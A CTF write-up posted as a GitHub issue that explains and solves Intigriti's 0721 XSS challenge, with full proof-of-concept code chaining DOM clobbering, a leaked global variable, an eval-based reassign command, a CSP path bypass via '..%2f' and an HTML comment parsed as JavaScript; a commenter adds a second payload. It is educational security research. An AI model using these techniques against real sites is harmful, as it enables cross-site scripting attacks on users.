aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

Writeup: Intigriti's 0721 XSS challenge - by @RootEval #39

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

Challenge link: https://challenge-0721.intigriti.io/

Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html

Analysis

This project is a bit complex because there are two frames and a lot of postMessage and onmessage, make it harder to know how it works at first glance.

To find a XSS vulnerability, there must be a place to inject malicious payload, like innerHTML or eval, so I started from finding this place.

There are three pages:

  1. index.html
  2. htmledit.php
  3. console.php

Let's check it one by one.

index.html

<div class="card-container">
 <div class="card-header-small">Your payloads:</div>
 <div class="card-content">
    <script>
       // redirect all htmledit messages to the console
       onmessage = e =>{
          if (e.data.fromIframe){
             frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
          }
       }
       /*
       var DEV = true;
       var store = {
           users: {
             admin: {
                username: 'inti',
                password: 'griti'
             }, moderator: {
                username: 'root',
                password: 'toor'
             }, manager: {
                username: 'andrew',
                password: 'hunter2'
             },
          }
       }
       */
    </script>

    <div class="editor">
       <span id="bin">
          <a onclick="frames[0].postMessage({cmd:'clear'},'*')">πŸ—‘οΈ</a>
       </span>
       <iframe class=console src="./console.php"></iframe>
       <iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
       <textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
    </div>
 </div>
</div>

Besides the weird variable in the comment, DEV and store, nothing special.

htmledit.php

<!-- &lt;img src=x&gt; -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Native HTML editor</title>
    <script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
        window.addEventListener('error', function(e){
            let obj = {type:'err'};
            if (e.message){
                obj.text = e.message;
            } else {
                obj.text = `Exception called on ${e.target.outerHTML}`;
            }
            top.postMessage({fromIframe:obj}, '*');
        }, true);
        onmessage=(e)=>{
            top.postMessage({fromIframe:e.data}, '*')
        }
    </script>
</head>
<body>
    <img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->

htmledit.php reflects the query string code but there is a strict CSP: script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';, it's impossible to run JS. But it's worth noting that embed an iframe is allow. Maybe it's a hint for the player?

console.php


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <script nonce="c4936ad76292ee7100ecb9d72054e71f">
        name = 'Console'
        document.title = name;
        if (top === window){
            document.head.parentNode.remove(); // hide code if not on iframe
        }
    </script>
    <style>
        body, ul {
            margin:0;
            padding:0;
        }

        ul#console {
            background: lightyellow;
            list-style-type: none;
            font-family: 'Roboto Mono', monospace;
            font-size: 14px;
            line-height: 25px;
        }

        ul#console li {
            border-bottom: solid 1px #80808038;
            padding-left: 5px;

        }
    </style>
</head>
<body>
    <ul id="console"></ul>
    <script nonce="c4936ad76292ee7100ecb9d72054e71f">
        let a = (s) => s.anchor(s);
        let s = (s) => s.normalize('NFC');
        let u = (s) => unescape(s);
        let t = (s) => s.toString(0x16);
        let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
        let log = (prefix, data, type='info', safe=false) => {
            let line = document.createElement("li");
            let prefix_tag = document.createElement("span");
            let text_tag = document.createElement("span");
            switch (type){
                case 'info':{
                    line.style.backgroundColor = 'lightcyan';
                    break;
                }
                case 'success':{
                    line.style.backgroundColor = 'lightgreen';
                    break;
                }
                case 'warn':{
                    line.style.backgroundColor = 'lightyellow';
                    break;
                }
                case 'err':{
                    line.style.backgroundColor = 'lightpink';
                    break;
                } 
                default:{
                    line.style.backgroundColor = 'lightcyan';
                }
            }

            data = parse(data);
            if (!safe){
                data = data.replace(/</g, '&lt;');
            }

            prefix_tag.innerHTML = prefix;
            text_tag.innerHTML = data;

            line.appendChild(prefix_tag);
            line.appendChild(text_tag);
            document.querySelector('#console').appendChild(line);
        } 

        log('Connection status: ', window.navigator.onLine?"Online":"Offline")
        onmessage = e => {
            switch (e.data.cmd) {
                case "log": {
                    log("[log]: ", e.data.message.text, type=e.data.message.type);
                    break;
                }
                case "anchor": {
                    log("[anchor]: ", s(a(u(e.data.message))), type='info')
                    break;
                }
                case "clear": {
                    document.querySelector('#console').innerHTML = "";
                    break;
                }
                default: {
                    log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
                }
            }
        }
    </script>
    <script nonce="c4936ad76292ee7100ecb9d72054e71f">
        try {
            if (!top.DEV)
                throw new Error('Production build!');

            let checkCredentials = (username, password) => {
                try{
                    let users = top.store.users;
                    let access = [users.admin, users.moderator, users.manager];
                    if (!users || !password) return false;
                    for (x of access) {
                        if (x.username === username && x.password === password)
                            return true
                    }
                } catch {
                    return false
                }
                return false
            }

            let _onmessage = onmessage;
            onmessage = e => {
                let m = e.data;
                if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
                    return; // do nothing if unauthorized
                }

                switch(m.cmd){
                    case "ping": { // check the connection
                        e.source.postMessage({message:'pong'},'*');
                        break;
                    }
                    case "logv": { // display variable's value by its name
                        log("[logv]: ", window[m.message], safe=false, type='info'); 
                        break;
                    }
                    case "compare": { // compare variable's value to a given one
                        log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info'); 
                        break;
                    }
                    case "reassign": { // change variable's value
                        let o = m.message;
                        try {
                            let RegExp = /^[s-zA-Z-+0-9]+$/;
                            if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
                                throw new Error('Invalid input given!');
                            }
                            eval(`${o.a}=${o.b}`);
                            log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
                        } catch (err) {
                            log("[reassign]: ", `Error changing value (${err.message})`, type='err');
                        }
                        break;
                    }
                    default: {
                        _onmessage(e); // keep default functions
                    }
                }
            }
        } catch {
            // hide this script on production
            document.currentScript.remove();
        }
    </script>
    <script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>

It's the most interesting one.

First, I found a eval command here for changing variable's value:

let _onmessage = onmessage;
onmessage = e => {
    let m = e.data;
    if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
        return; // do nothing if unauthorized
    }

    switch(m.cmd){
        // ...
        case "reassign": { // change variable's value
            let o = m.message;
            try {
                let RegExp = /^[s-zA-Z-+0-9]+$/;
                if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
                    throw new Error('Invalid input given!');
                }
                eval(`${o.a}=${o.b}`);
                log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
            } catch (err) {
                log("[reassign]: ", `Error changing value (${err.message})`, type='err');
            }
            break;
        }
        default: {
            _onmessage(e); // keep default functions
        }
    }
}

Is it where I can inject my payload? Probably not, because it allows limited alphanumeric and symbol(only - and +).

Another interesting part is here:

let log = (prefix, data, type='info', safe=false) => {
    let line = document.createElement("li");
    let prefix_tag = document.createElement("span");
    let text_tag = document.createElement("span");
    switch (type){
        // not important
    }

    data = parse(data);
    if (!safe){
        data = data.replace(/</g, '&lt;');
    }

    prefix_tag.innerHTML = prefix;
    text_tag.innerHTML = data;

    line.appendChild(prefix_tag);
    line.appendChild(text_tag);
    document.querySelector('#console').appendChild(line);
} 

If safe is true, the data won't be sanitized and we can inject arbitrary HTML. I believe here is the key, so my goal is to execute log function with arbitrary data and let safe be true.

Before that, we need to know that JavaScript has no named parameters, don't be confused!

For example, when we call log("[logv]: ", window[m.message], safe=false, type='info');, the argument is actually by order, so prefix is "[logv]: ", data is window[m.message], type is false and safe is 'info'

Anyway, I decided to start from find a way to run log function, and it's obviously that I can postMessage to it's window to run the command.

But I need to bypass some checks first.

Bypass "top" check

First, I need to embed this page in an iframe:

name = 'Console'
document.title = name;
if (top === window){
    document.head.parentNode.remove(); // hide code if not on iframe
}

Second, there are two more checks I need to bypass:

try {
    if (!top.DEV)
        throw new Error('Production build!');

    let checkCredentials = (username, password) => {
        try{
            let users = top.store.users;
            let access = [users.admin, users.moderator, users.manager];
            if (!users || !password) return false;
            for (x of access) {
                if (x.username === username && x.password === password)
                    return true
            }
        } catch {
            return false
        }
        return false
    }

    let _onmessage = onmessage;
    onmessage = e => {
        let m = e.data;
        if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
            return; // do nothing if unauthorized
        }
        // ...
    }
} catch {
    // hide this script on production
    document.currentScript.remove();
}

top.DEV should be truthy, and the credentials I send in should match top.store.users.admin.username and top.store.users.admin.password.

It's easy, just write my own HTML page and set these variables, embed console.php in an iframe, and then post message to it, right?

Nope, it's not gonna work because of Same-Origin Policy. When console.php tries to access top.DEV, it's blocked by browser because top window is in another domain.

So we need a same origin page where we can embed an iframe and also set global variables. htmledit.php is the one.

DOM clobbering

There is a technique called DOM clobbering, it utilizes a feature which turns a DOM element with id to global variable.

For example, when you have <div id="a"></div> in your HTML, you can access it in JS via window.a or just a.

If you can read Mandarin, you can check my blog post 淺談 DOM Clobbering ηš„εŽŸη†εŠζ‡‰η”¨ and another great article by Zeddy: 使用 Dom Clobbering 扩展 XSS. If you can't, check this: DOM Clobbering strikes back

It's a little bit troublesome to achieve multi-level DOM clobbering, you need to use iframe + srcdoc, here is my payload:

<a id="DEV"></a>
<iframe name="store" srcdoc='
    <a id="users"></a>
    <a id="users" name="admin" href="ftp://a:a@a"></a>
    '>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>

So top.DEV is a element, store is the iframe, store.users is HTML collections of <a>, store.users.admin is the a, and store.users.admin.username is the URL username in href, which is a, it's the same for password.

I built a simple page to open a new window, so that htmledit.php is the top window and I can still post message to it:

<!DOCTYPE html>

<html lang="en">
<head>
  <meta charset="utf-8">
  <title>XSS POC</title>  
</head>
<body>
  <script>
    const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
    const payload = `
      <a id="DEV"></a>
      <iframe name="store" srcdoc='
        <a id="users"></a>
        <a id="users" name="admin" href="ftp://a:a@a"></a>
      '></iframe>
      <iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
    `

    var win = window.open(htmlUrl + encodeURIComponent(payload))

    // wait unitl window loaded
    setTimeout(() => {
      console.log('go')
      const credentials = {
        username: 'a',
        password: 'a'
      }
      win.frames[1].postMessage({
        cmd: 'test',
        credentials
      }, '*')
    }, 5000)

  </script>
</body>
</html>

By far, I can send message to console.php. But, it's only the beginning.

Pass arbitrary data and safe=true

In order to let safe be true, I need to find a function call with 4 parameters:

case "logv": { // display variable's value by its name
    log("[logv]: ", window[m.message], safe=false, type='info'); 
    break;
}
case "compare": { // compare variable's value to a given one
    log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info'); 
    break;
}

log("[logv]: ", window[m.message], safe=false, type='info') is what I need, the fourth parameter is info which is truthy. data is window[m.message], so I need to set my payload to a global variable.

I stuck here for a long time because I can't find one. window.name is usually a good candidate but this page set it's window name so I can't use it.

location is another candidate but log checks if data is string, if not, it turns it into a string via JSON.stringify, which encoded <>.

I checked the code again and again, try to find out the missing puzzle. Finally, I found one.

let checkCredentials = (username, password) => {
    try{
        let users = top.store.users;
        let access = [users.admin, users.moderator, users.manager];
        if (!users || !password) return false;
        for (x of access) {
            if (x.username === username && x.password === password)
                return true
        }
    } catch {
        return false
    }
    return false
}

Can you find a bug in the code above?

for (x of access) {, it's a common bug for newbie, when you forgot to declare x, it will be a global variable. In this case, x is top.store.users.admin , which is the <a> element.

Build payload

If we cast an <a> element to string, the return value is a.href. It's a common technique in DOM clobbering. So we can pass our payload inside href.

But, remember that log checks the type of data? The type of x is DOM element, hence failed the check. I need to find a way to make it a string.

Fortunately, there is another command I can utilize:

case "reassign": { // change variable's value
    let o = m.message;
    try {
        let RegExp = /^[s-zA-Z-+0-9]+$/;
        if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
            throw new Error('Invalid input given!');
        }
        eval(`${o.a}=${o.b}`);
        log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
    } catch (err) {
        log("[reassign]: ", `Error changing value (${err.message})`, type='err');
    }
    break;
}

I can do this:

win.frames[1].postMessage({
    cmd: 'reassign',
    message:{
      a: 'Z',
      b: 'x+1'
    },
    credentials
}, '*')

Because of JS "coercion", x+1 returns a string, so now Z is a string contains our href. Now, I can send whatever data I want.

But wait, it's encoded because it's a URL, < will be %3C.

var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:a@a#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:a@a/#%3Cimg%20src=x%20onload=alert(1)%3E1

What should I do?

In log function, there is one line data = parse(data), and here is the parse function:

let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string

If e is string, it returns s(e) where s is let s = (s) => s.normalize('NFC');

When I reviewed the source code of reassign command, I noticed this regexp: RegExp = /^[s-zA-Z-+0-9]+$/;, and I also noticed these four functions:

let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);

s, u and t is allowed to use. So, we can utilize reassign command again, to let s=u, so our data can be unescaped!

Full source code is like this:

const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
  <a id="DEV"></a>
  <iframe name="store" srcdoc='
    <a id="users"></a>
    <a id="users" name="admin" href="ftp://a:a@a#${escape(insertPayload)}"></a>
  '></iframe>
  <iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`

var win = window.open(htmlUrl + encodeURIComponent(payload))

// wait unitl window loaded
setTimeout(() => {
  console.log('go')
  const credentials = {
    username: 'a',
    password: 'a'
  }
  // s=u
  win.frames[1].postMessage({
    cmd: 'reassign',
    message:{
      a: 's',
      b: 'u'
    },
    credentials
  }, '*')

  // Z=x+1 so Z = x.href + 1
  win.frames[1].postMessage({
    cmd: 'reassign',
    message:{
      a: 'Z',
      b: 'x+1'
    },
    credentials
  }, '*')

  // log window[Z]
  win.frames[1].postMessage({
    cmd: 'logv',
    message: 'Z',
    credentials
  }, '*')
}, 5000)

So the data is ftp://a:a@a#<img src=x onerror=alert(1)>, and the data is assigned to text_tag.innerHTML, XSS triggered!

Oh...not that easy, I forgot CSP.

Bypass CSP

Indeed, I can inject anything to HTML for now, but there is one more thing I need to do: bypass CSP.

The CSP is:

script-src 'nonce-4298c066cafb9760ea824427b44e583f' https://challenge-0721.intigriti.io/analytics/ 'unsafe-eval';frame-src https:;object-src 'none';base-uri 'none';

There is no unsafe-inline so inline event won't work. https://challenge-0721.intigriti.io/analytics/ is suspicious, what is this?

This JS https://challenge-0721.intigriti.io/analytics/main.js is included but almost nothing inside.

Actually, when I saw this CSP rule, I know what to do instantly. Because I know there is a way to bypass CSP path using %2f(url encoded /).

Take this URL: https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php as an example, to browser, it's under analytics path so pass CSP, but for server it's analytics/../htmledit.php, so we actually load resource from different path!

But what should I include? htmledit.php is HTML, not JS...really?

If you look carefully, htmledit.php prints escaped input in HTML comment, like this:

<!-- &lt;img src=x&gt; -->
....

In some cases, HTML comment is also a valid JS comment, as per ECMAScript:

In other words, we can make this HTML a valid JS script!

Here is the url I used: https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*, it respond following HTML:

<!-- 1; this line is comment as well
top.alert(document.domain);/* -->
<!DOCTYPE html>
<html lang="en">
<head>
...not important because it's all comment

After /* it's all comment, so the whole script is top.alert(document.domain); basically. So now, I can include this url as JS script to run arbitrary code and bypass CSP.

Please note that the content type of htmledit.php is still text/html, but it's fine since it's same origin. If you want to include a page with content type text/html as JS , you will get a CORB error.

It seems great, now we can inject an script to pop alert, right?

Unfortunately, not yet.

Final step

I thought I solve the challenge after I found this clear way to inject script, but somehow it doesn't work.

According to this stack overflow thread, the <script> tag won't load if you inserted with innerHTML.

I don't know how to do so I googled innerhtml import script, innerhtml script run and so on, but found nothing useful.

After a while, It occurred to me that how about our old friend <iframe srcdoc>? What if I put the script tag inside srcdoc?

So, I tried this way and it works like a charm.

Put it all together

Just one small thing to say, before I submit the answer I found that my exploit doesn't work on Firefox.

<a id="users"></a>
<a id="users" name="admin" href="a"></a>

For window.users, Chrome returns HTMLCollection while Firefox returns first <a> only, so users.admin is undefined on Firefox.

It's not a big deal, just use another iframe:

<iframe name="store" srcdoc="
  <iframe srcdoc='<a id=admin href=ftp://a:a@a#></a>' name=users>
">
</iframe>

Following is my exploit in the end:

Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html

<!DOCTYPE html>

<html lang="en">
<head>
  <meta charset="utf-8">
  <title>XSS POC</title>  
</head>

<body>
  <script>
    const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
    const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
    const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
    const payload = `
      <a id="DEV"></a>
      <iframe name="store" srcdoc="
        <iframe srcdoc='<a id=admin href=ftp://a:a@a#${escape(insertPayload)}></a>' name=users>
      ">
      </iframe>
      <iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
    `
    var win = window.open(htmlUrl + encodeURIComponent(payload))

    // wait for 3s to let window loaded
    setTimeout(() => {
      const credentials = {
        username: 'a',
        password: 'a'
      }
      win.frames[1].postMessage({
        cmd: 'reassign',
        message:{
          a: 's',
          b: 'u'
        },
        credentials
      }, '*')

      win.frames[1].postMessage({
        cmd: 'reassign',
        message:{
          a: 'Z',
          b: 'x+1'
        },
        credentials
      }, '*')

      win.frames[1].postMessage({
        cmd: 'logv',
        message: 'Z',
        credentials
      }, '*')
    }, 3000)

  </script>
</body>
</html>

It's a great and awesome challenge, to me it's like a game with 5 levels, I need to solve every levels and put it together to really win this game.

I spent about 2 days on this challenge and every time I stuck, I checked the source code again, reviewed one line after another until I found something new. Surprisingly, there is always something new!

Thanks @RootEval for creating such amazing challenge, and also thanks Intigriti for hosting this event.

h43z commented 3 years ago

One could also use the type variable of the "log" command to transfer the payload

case "log": {
  log("[log]: ", e.data.message.text, type=e.data.message.type);
  break;
}
<iframe onload="setTypeVar();logType()" src="https://challenge-0721.intigriti.io/console.php"></iframe>

<script>
function setTypeVar(){
   frames[0].postMessage({
    cmd: 'log',
    message: {
      type: `<iframe srcdoc='<script src=/analytics/..%2f/htmledit.php?code=a%0aalert(document.domain)/*></`+`script>'</iframe>`,
      text: "a",
    },
    credentials: {
      username: 'root',
      password: 'toor'
    }
  },"*")
}

function logType(v){
  frames[0].postMessage({
    cmd:"logv",
    message: 'type',  
    credentials: {
      username: 'root',
      password: 'toor'
    }
  },"*")

}
</script>
aszx87410 commented 3 years ago

@h43z Thanks for pointing it out, brilliant!